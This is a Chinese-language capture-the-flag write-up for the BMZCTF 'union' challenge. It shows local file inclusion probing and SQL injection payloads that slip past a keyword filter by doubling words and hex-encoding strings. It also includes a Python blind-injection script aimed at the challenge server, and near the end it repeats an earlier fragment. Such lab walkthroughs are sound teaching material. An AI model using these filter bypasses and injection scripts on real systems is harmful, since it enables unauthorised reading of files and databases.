BMZCTF union 详解

BMZCTF union 详解

题目:

发现还没有人写这道题的writeup:
BMZCTF union 详解

打开题目是这样的一个登录框:
BMZCTF union 详解

解题思路:

首先还是做下信息收集,dirsearch跑一跑发现一些文件,但是都没有权限访问:

BMZCTF union 详解

1.文件包含漏洞,网页源码上也有提示,但是按照网页源码的去访问还是转到login页面。看到文件包含漏洞不要慌,先上咱们的lfi字典生成器爆破一波~。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传BMZCTF union 详解

工具地址:https://github.com/873060524/lfi-dic-creater ,先生成register.php的字典,放到burp里面爆破一下file参数:

发现有过滤,但./register 和compress.zlib://./register可以访问,存在文件包含漏洞,这里对大量字符进行了过滤,并且拼接了固定的文件后缀。我们试图生成flag.php的字典爆破,发现不行,果然没有这么简单。

BMZCTF union 详解

由于没法通过php://filter方式包含,所以这里没有办法拿到源代码,不过如果存在上传功能的话,可以利用这个文件包含来执行自己上传文件中的php代码。

访问http://www.bmzclub.cn:22284/index.php?file=./register,来到了注册页面,登录和注册页面同样对SQL注入进行一下测试,发现都没有。于是注册了一个用户登录进去。

2.sql注入漏洞

登录进去后出现了文件上传、文件下载和内容查看的功能,上传让我们想到了结合之前的文件包含漏洞,但经过测试并没有找到文件上传的路径,所以没有办法直接结合文件包含漏洞。

结合题目union,想到了sql注入,在文件下载处。

sql注入测试过程

其实这道题看题目就知道是sql注入,于是sqlmap啥的跑起来再说,结果发现不得行~

根据题目union大概率是要考联合查询,最容易绕过过滤的是int类型的联合查询,所以直接对可能是Int类型的参数进行测试,这样就明确很多:

注意点:

1.很多代码在处理sql查询结果的时候,只会取一个结果,所以测试Union查询的时候最好取一个不存在的值,如 -1 union select xxx,这样就能把自己union的结果提取出来。

由于当我们sql语句错误时,会提示图片无法找到,那猜测我们要查询的sql语句查询的结果就是图片的路径,通过union select ‘字符串’ 的方式可以直接让结果变为我们的‘字符串’。

BMZCTF union 详解

所以需要构造的union查询就是:

-1 union select ’图片路径‘ :我们直接用index.php测试一下,发现不行,还是有过滤,于是把绕过方法试一遍,发现是过滤了union和select关键字,可以通过双写绕过。单引号也被转义或者过滤了,字符串可以通过0x十六进制来表示,所以把index.php转换成十六进制就行了,在线转换一下。

payload:

-1 uniunionon selselectect 0x696e6465782e706870,发现这样确实可以直接读取到index.php的源码了。

BMZCTF union 详解

通过这种方式把知晓的那几个文件都读出来,进行代码审计,由于之前已经想到文件上传+文件包含的方式getshell,所以想到找下上传文件的路径,sql的payload为:2 anord location regeregexpxp ‘$’ 就是利用正则进行盲注,2是我们上传的文件ID,正则’$'表示字符串结尾是什么,没有被过滤,所以可以从后往前盲注出来。

路径是由随机数生成的,长度为46,查阅代码可以知道数据库中表的结构,所以通过前面的sql注入可以盲注出上传文件的真实路径。

BMZCTF union 详解

POC:改一下自己的cookie

import re import requests code=["a", "b", "c",  "d", "e", "f",         "g", "h", "i", "j", "k", "l",         "m","n", "o", "p", "q", "r","s","t","u","v", "w","x",         "y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","1", "2", "3", "4", "5", "6", "7", "0","8", "9","/","."]  value='' def fun(value,id):     for i in range(46):         n=0         for c in code:             n+=1             cc=r'%s%s' % (c, value)             cc=cc.strip()             # print(n,cc)             burp0_url = "http://www.bmzclub.cn:22284/downfile.php"             burp0_cookies = {"Hm_lvt_d7a3b863d5a302676afbe86b11339abd": "1625975334,1626595426", "PHPSESSID": "aau23k045sgkugljvkm0oo8jk5", "session": "816d6034-1111-49cf-851d-961fb5dd850e", "Hm_lpvt_d7a3b863d5a302676afbe86b11339abd": "1626595608"}             burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://www.bmzclub.cn:22284", "Connection": "close", "Referer": "http://www.bmzclub.cn:22284/index.php?file=download", "Upgrade-Insecure-Requests": "1"}             burp0_data = {"image": "{0} anord location regeregexpxp 0x{1}24".format(id,cc.encode('utf-8').hex()), "image_download": "xe6x94xb6xe8x97x8f"}             response=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)             # print(response.text)             if not re.search(r'picture can',response.text):                 value = r'%s%s' % (c, value)                 value=value.strip()                 print(value)                 fun(value,id)                 break if __name__=='__main__':     id=2        #这是你上传的图片的id,上传的第一个图片id是2     fun('',id) 
 
BMZCTF union 详解

真实路径找到了,结果不能直接访问,通过前面的文件包含漏洞去访问也不行,因为包含的时候拼接了固定的后缀.php…白忙活~哈哈哈

BMZCTF union 详解

然后又想到sql注入union查询的时候,是可以直接查询文件内容的,所以直接查询/flag,得到flag~

-1 uniunionon selselectect 0x十六进制,把/flag转为十六进制

BMZCTF union 详解

就能得到flag:

BMZCTF union 详解
selselectect 0x十六进制,把/flag转为十六进制

BMZCTF union 详解
就能得到flag:

BMZCTF union 详解

版权声明:玥玥 发表于 2021-07-21 11:21:01。
转载请注明:BMZCTF union 详解 | 女黑客导航